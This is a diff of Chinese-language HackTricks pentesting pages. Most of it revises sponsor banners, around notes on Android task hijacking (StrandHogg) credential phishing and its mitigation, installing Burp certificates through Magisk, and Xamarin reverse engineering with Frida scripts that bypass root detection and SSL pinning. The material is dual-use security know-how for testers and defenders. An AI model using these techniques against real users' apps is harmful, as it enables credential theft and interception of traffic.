Android会恢复现有实例而不是创建新实例。这意味着在此模式下系统中最多只有一个活动实例。
|
||||
* **如果需要创建新的活动实例**:\
|
||||
活动管理器服务(AMS)通过在所有现有任务中查找“**匹配**”任务来选择一个任务来托管新创建的实例。**如果一个活动“匹配”一个任务,它们具有相同的任务亲和性**。这就是为什么我们可以在我们的恶意/攻击者应用中指定与易受攻击应用相同的任务亲和性,以便它在他们的任务中启动而不是创建自己的任务。
|
||||
* **未找到“匹配”任务**:\
|
||||
AMS会创建一个新任务,并将新的活动实例作为新创建任务的根活动。
|
||||
|
||||
## 攻击
|
||||
### 攻击
|
||||
|
||||
受害者需要在设备上安装**恶意应用**。然后,他需要在打开**易受攻击的应用**之前**打开**它**。然后,当打开**易受攻击的应用**时,将会**打开**恶意应用**而不是易受攻击的应用**。如果这个恶意应用呈现与易受攻击的应用相同的登录界面,**用户将无法知道他正在将凭据输入到一个恶意应用中**。
|
||||
受害者需要在设备上安装**恶意应用**。然后,他需要在打开**易受攻击的应用**之前**打开**它**。然后,当**易受攻击的应用**被**打开**时,**恶意应用**将被**打开****代替**。如果这个恶意应用程序呈现与易受攻击应用相同的**登录界面**,**用户将无法知道他正在将凭据输入到恶意应用程序中**。
|
||||
|
||||
**您可以在这里找到一个实现了此攻击的示例:**[**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)
|
||||
**您可以在此处找到实施的攻击:**[**https://github.com/az0mb13/Task\_Hijacking\_Strandhogg**](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)
|
||||
|
||||
# 防止任务劫持
|
||||
## 防止任务劫持
|
||||
|
||||
将`taskAffinity=""`设置为一个快速修复此问题的方法。如果应用程序不希望其他活动加入属于它的任务,还可以将启动模式设置为**singleInstance**。还可以添加自定义的**onBackPressed()**函数,以覆盖默认行为。
|
||||
设置**`taskAffinity=""`**可以快速修复此问题。如果应用程序不希望其他活动加入属于它的任务,还可以将启动模式设置为**singleInstance**。还可以添加自定义的**onBackPressed()**函数,以覆盖默认行为。
|
||||
|
||||
# **参考资料**
|
||||
## **参考资料**
|
||||
|
||||
* [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
* [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -116,7 +116,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platform
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
一旦你下载了想要使用的Android镜像,你可以使用以下命令**列出所有已下载的Android镜像**:
|
||||
一旦你下载了想要使用的Android映像,你可以使用以下命令**列出所有已下载的Android映像**:
|
||||
```
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
|
||||
----------
|
||||
|
@ -164,7 +164,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
|
|||
AVD9
|
||||
Pixel_2_API_27
|
||||
```
|
||||
您可以使用以下命令来运行任何创建的虚拟机:
|
||||
您可以使用以下命令**运行任何创建的虚拟机**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -173,7 +173,9 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
或者使用更高级的选项,您可以运行一个虚拟机,比如:
|
||||
或者使用更高级的选项,您可以运行一个虚拟机,比如:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
```
|
||||
|
@ -246,17 +248,17 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
## 使用Magisc安装Burp证书
|
||||
|
||||
如果您使用Magisc(可能是模拟器)对设备进行了**root**,并且由于**文件系统是只读**的,您无法按照之前的步骤安装Burp证书,也无法将其重新挂载为可写状态,那么还有另一种方法。
|
||||
如果您使用Magisc(可能是模拟器)对设备进行了**root**,并且由于**文件系统是只读**的,无法按照之前的步骤安装Burp证书,也无法将其重新挂载为可写状态,那么还有另一种方法。
|
||||
|
||||
在[**这个视频**](https://www.youtube.com/watch?v=qQicUW0svB8)中有详细说明,您需要:
|
||||
|
||||
1. **安装CA证书**:只需将DER格式的Burp证书**拖放**到移动设备上,并将其扩展名更改为`.crt`,以便将其存储在下载文件夹中,然后转到`安装证书` -> `CA证书`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* 检查证书是否正确存储,转到`受信任的凭据` -> `用户`
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **使其成为系统信任的证书**:下载Magisc模块[MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts)(一个.zip文件),将其**拖放**到手机上,转到手机上的**Magics应用程序**,进入**`模块`**部分,点击**`从存储安装`**,选择`.zip`模块,安装完成后**重新启动**手机:
|
||||
|
||||
|
@ -278,9 +280,9 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得最新版本的PEASS或以PDF格式下载HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云平台 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的目标——**我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -133,9 +133,9 @@ return encrypted_ret;
|
|||
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您对**黑客职业**感兴趣并且想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语)。
|
||||
如果您对**黑客职业**感兴趣并且想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -145,7 +145,7 @@ return encrypted_ret;
|
|||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
@ -34,13 +34,13 @@ Xamarin.iOS 应用程序在 Mono 运行时环境下运行,并使用全面的 A
|
|||
|
||||
下图显示了这种架构:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 什么是 .Net Runtime 和 Mono Framework?
|
||||
### 什么是 .Net 运行时和 Mono 框架?
|
||||
|
||||
**.Net 框架是一组程序集、类和命名空间**,开发人员可以使用它们来创建应用程序;.Net Runtime 运行编译后的代码,这个过程称为托管代码执行。.NET Runtime 提供了几个功能,确保平台独立性,并与旧的框架版本兼容。
|
||||
**.Net 框架是一组程序集、类和命名空间**,开发人员可以使用它们来创建应用程序;.Net 运行时运行编译后的代码,这个过程称为托管代码执行。.NET 运行时提供了几个功能,确保平台独立性,并与旧的框架版本兼容。
|
||||
|
||||
**Mono Framework** 于 2005 年开始作为 Linux(Ximian/SuSe/Novell)上 .NET Framework 的实现。由 Microsoft 赞助并由 Xamarin 领导,Mono 是基于 ECMA 标准的 Common Language Runtime 和 C# 的 .NET Framework 的开源实现。 
|
||||
**Mono 框架**于 2005 年开始作为 Linux(Ximian/SuSe/Novell)上 .NET Framework 的实现。由 Microsoft 赞助并由 Xamarin 领导,Mono 是基于 ECMA 对 Common Language Runtime 和 C# 的标准的 .NET Framework 的开源实现。 
|
||||
|
||||
|
||||
|
||||
|
@ -52,7 +52,7 @@ Xamarin.iOS 应用程序在 Mono 运行时环境下运行,并使用全面的 A
|
|||
|
||||
要打开模块窗口,请选择调试 > 窗口 > 模块。一旦检测到需要反编译的模块,右键单击并选择“反编译源代码到符号文件”。此操作**构建一个包含反编译源代码的符号文件**,从而允许您直接从源代码进入第三方代码。
|
||||
|
||||
**Visual Studio** 可以反编译托管代码,即使没有符号,也可以查看代码、检查变量并设置断点。要将源代码提取到磁盘上,请右键单击带有嵌入源代码的模块,然后单击“提取嵌入的源代码”。这将把源文件导出到一个杂项文件夹以供进一步分析。
|
||||
**Visual Studio**即使没有符号,也会反编译托管代码,让您查看代码、检查变量并设置断点。要将源代码提取到磁盘上,请右键单击带有嵌入源代码的模块,然后单击“提取嵌入的源代码”。这将把源文件导出到一个杂项文件夹以供进一步分析。
|
||||
|
||||
### Xamarin 应用程序的 JIT vs AOT 编译
|
||||
|
||||
|
@ -63,7 +63,7 @@ Xamarin.iOS 应用程序在 Mono 运行时环境下运行,并使用全面的 A
|
|||
\- **iOS**:在 iOS 的情况下只有一种选择,即**提前编译**。这是由于苹果的政策禁止在设备上执行动态生成的代码。
|
||||
|
||||
{% hint style="info" %}
|
||||
如果遇到一个完全 AOT 编译的应用程序,并且开发人员已经删除了 IL Assembly 文件以减小构建大小,则反向工程需要额外的步骤,即从 lib 文件夹或 `libmonodroid_bundle_app.so` 文件中提取 .dll.so 文件中的 dll 文件。如果是混合 AOT 编译的应用程序,并且 IL 文件仍然保留在应用程序包中,我们可以使用它来进行逆向工程分析。
|
||||
如果遇到一个完全 AOT 编译的应用程序,并且开发人员已删除 IL Assembly 文件以减小构建大小,则反向工程需要额外的步骤,即从 lib 文件夹或 `libmonodroid_bundle_app.so` 文件中提取 .dll.so 文件中的 dll 文件。如果是混合 AOT 编译的应用程序,并且 IL 文件仍然保留在应用程序包中,我们可以使用它来进行逆向工程分析。
|
||||
{% endhint %}
|
||||
## 从APK/IPA获取dll文件
|
||||
|
||||
|
@ -77,7 +77,7 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
|||
```
|
||||
在iOS的情况下,**IPA文件中的dll文件可以直接加载**到反编译器中(无需解压缩)。
|
||||
|
||||
**当我们反编译dll文件时,大部分应用程序代码都可以找到**。此外,基于Xamarin Framework的应用程序在所有平台(如iOS和Android等)的构建中包含90%的公共代码。
|
||||
**当我们反编译dll文件时,大部分应用程序代码都可以找到**。此外,请注意,基于Xamarin Framework的应用程序在所有平台(如iOS和Android等)的构建中都包含90%的公共代码。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -89,9 +89,9 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
|||
|
||||
## 动态分析
|
||||
|
||||
尝试检查应用程序是否有任何类型的SSL pinning。如果没有,使用Burp作为系统的CA应该可以拦截请求。在这里,Frida与Java或ObjC运行时不起作用,但幸运的是有一个工具可以用于挂钩方法。
|
||||
尝试检查应用程序是否有任何类型的SSL pinning。如果没有,使用Burp作为系统的CA应该可以拦截请求。在这里,Frida与Java或ObjC运行时不起作用,但幸运的是,有一个工具可以用于钩入方法。
|
||||
|
||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)允许您在Xamarin应用程序的运行时轻松地**修改.NET二进制文件**。静态分析将帮助您识别应用程序中存在的不同方法,稍后可以使用Fridax对其进行动态分析。以下是一些Frida脚本,可以帮助我们绕过root检测或SSL pinning:
|
||||
[**Fridax**](https://github.com/NorthwaveSecurity/fridax)允许您在Xamarin应用程序的运行时轻松地**修改.NET二进制文件**。静态分析将帮助您识别应用程序中存在的不同方法,稍后可以使用Fridax钩入这些方法进行动态分析。以下是一些Frida脚本,可以帮助我们绕过root检测或SSL pinning:
|
||||
|
||||
* [**xamarin-antiroot**](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/)
|
||||
* [**xamarin-root-detect-bypass**](https://codeshare.frida.re/@nuschpl/xamarin-root-detect-bypass/)
|
||||
|
@ -107,7 +107,7 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
|||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
如果你对**黑客职业**感兴趣并且想要黑掉不可黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -56,9 +56,9 @@ Content-Length: 267
|
|||
|
||||
* `port:15672 http`
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -69,7 +69,7 @@ Content-Length: 267
|
|||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,33 +1,38 @@
|
|||
# 500/udp - IPsec/IKE VPN 渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
